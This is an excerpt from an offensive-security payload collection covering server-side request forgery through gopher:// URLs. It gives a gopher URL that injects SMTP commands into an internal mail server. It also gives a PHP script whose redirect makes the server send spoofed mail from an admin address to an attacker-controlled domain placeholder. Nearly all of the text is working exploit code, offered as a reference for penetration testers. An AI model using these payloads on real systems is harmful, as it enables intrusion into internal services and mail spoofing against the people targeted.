Malicious actors can craft `gopher://` URLs to manipulate low-level protocols (like HTTP or SMTP) on internal systems.
gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0AThe following PHP script can be used to generate a page that will redirect to the `gopher://` payload.
<?php
$commands = array(
'HELO victim.com',
'MAIL FROM: <admin@victim.com>',
'RCPT To: <User@[ATTACKER.DOMAIN.TLD]>',
'DATA',
'Subject: @hacker!',
'Hello Friend',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://0:25/_'.$payload);
?>Source: Server Side Request Forgery/SSRF-Advanced-Exploitation.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.